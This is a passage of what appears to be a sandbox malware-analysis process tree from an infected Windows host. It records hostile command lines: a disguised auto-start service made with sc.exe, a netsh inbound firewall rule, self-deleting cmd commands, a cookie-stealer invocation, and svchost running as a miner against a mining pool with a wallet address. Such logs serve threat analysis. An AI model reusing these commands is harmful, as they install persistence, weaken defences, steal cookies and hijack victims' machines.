                                                                                                                                                                                                                                                                                                                                  PID:5072
                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:5696
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-ULIUM.tmp\chashepro3.tmp
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-ULIUM.tmp\chashepro3.tmp" /SL5="$102A8,3362400,58368,C:\Users\Admin\AppData\Local\Temp\aeggkxw0n3u\chashepro3.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                    PID:4892
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:3632
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:5468
                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:6936
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                            DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7751e60b-a76f-0b42-834a-064d2fe68d36}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:7072
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\DrvInst.exe
                                                                                                                                                                                                                                                                                                                                              DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:5936
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:6312
                                                                                                                                                                                                                                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5008
                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:4896
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                    werfault.exe /h /shared Global\abb31d1c8cf14d8baa514fe29b5cdcc2 /t 4728 /p 3632
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5864
                                                                                                                                                                                                                                                                                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1808
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                        werfault.exe /h /shared Global\09ff161688884889b79b9d8ca7394ef3 /t 7076 /p 6312
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2304
                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6748
                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                                                                                                                                                                                                                              MaskVPNUpdate.exe /silent
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4384
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\B84F.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\B84F.exe
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6620
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                                                  icacls "C:\Users\Admin\AppData\Local\d9516ce9-f696-446d-aad5-a1e4e65670e0" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                  PID:6904
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\B84F.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\B84F.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5092
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin1.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin1.exe"
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5544
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin2.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin2.exe"
                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4828
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin.exe"
                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:7100
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\updatewin.exe
                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:4688
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                  timeout /t 3
                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                  PID:4244
                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\5.exe
                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\beca6bf8-40da-47d2-859f-98777aaca949\5.exe"
                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:7020
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 852
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6104
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 916
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6216
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 924
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:384
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1012
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6876
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1108
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:4224
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1016
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:4996
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1264
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6464
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1432
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:2792
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1560
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                                                  PID:6196
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\C9B6.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\C9B6.exe
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:2304
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c echo dbvicTgbw
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:2740
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c cmd < Lana.vstx
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:4276
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      cmd
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1368
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\D5AD.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\D5AD.exe
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3912
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\D5AD.exe"
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5080
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                            timeout /T 10 /NOBREAK
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                            PID:6888
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\EE66.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\EE66.exe
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1776
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1EF.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\1EF.exe
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:4152
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\winbyqp\
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:2560
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kntncnye.exe" C:\Windows\SysWOW64\winbyqp\
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5060
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\sc.exe" create winbyqp binPath= "C:\Windows\SysWOW64\winbyqp\kntncnye.exe /d\"C:\Users\Admin\AppData\Local\Temp\1EF.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:5416
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\sc.exe" description winbyqp "wifi internet conection"
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6784
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\sc.exe" start winbyqp
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2476
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2E21.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2E21.exe
                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2344
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\4FF2.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\4FF2.exe
                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6472
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\4FF2.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\4FF2.exe
                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5828
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\6ACE.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\6ACE.exe
                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:6092
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5624
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1932
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\74C2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\74C2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5800
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\winbyqp\kntncnye.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\winbyqp\kntncnye.exe /d"C:\Users\Admin\AppData\Local\Temp\1EF.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6032
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5648
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5880
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\ADF3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\ADF3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6652
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\ADF3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\ADF3.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3968
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\C10F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\C10F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6240
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-2RQHE.tmp\C10F.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-2RQHE.tmp\C10F.tmp" /SL5="$E0038,300262,216576,C:\Users\Admin\AppData\Local\Temp\C10F.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4936
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-1FL1C.tmp\ST.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-1FL1C.tmp\ST.exe" /S /UID=lab212
                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6116
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\N08ZPAQ7LR\NQTQVFJJOY\prolab.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\N08ZPAQ7LR\NQTQVFJJOY\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6264
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-GJAD6.tmp\prolab.tmp
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-GJAD6.tmp\prolab.tmp" /SL5="$60118,575243,216576,C:\Program Files\N08ZPAQ7LR\NQTQVFJJOY\prolab.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2272
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\55-40016-c14-fe7a9-f33b2fac9ce05\Fadihyraeci.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\55-40016-c14-fe7a9-f33b2fac9ce05\Fadihyraeci.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2288
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e1bmtjau.g2k\joggaplayer.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6780
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\e1bmtjau.g2k\joggaplayer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\e1bmtjau.g2k\joggaplayer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6884
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7244
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7888
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2m4lxsc0.unn\proxybot.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2m4lxsc0.unn\proxybot.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2m4lxsc0.unn\proxybot.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vwn1jhry.ls0\ra4vpn.exe & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\vwn1jhry.ls0\ra4vpn.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\vwn1jhry.ls0\ra4vpn.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7572
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\DEF8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\DEF8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5124
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\fgfaufe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\fgfaufe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4128
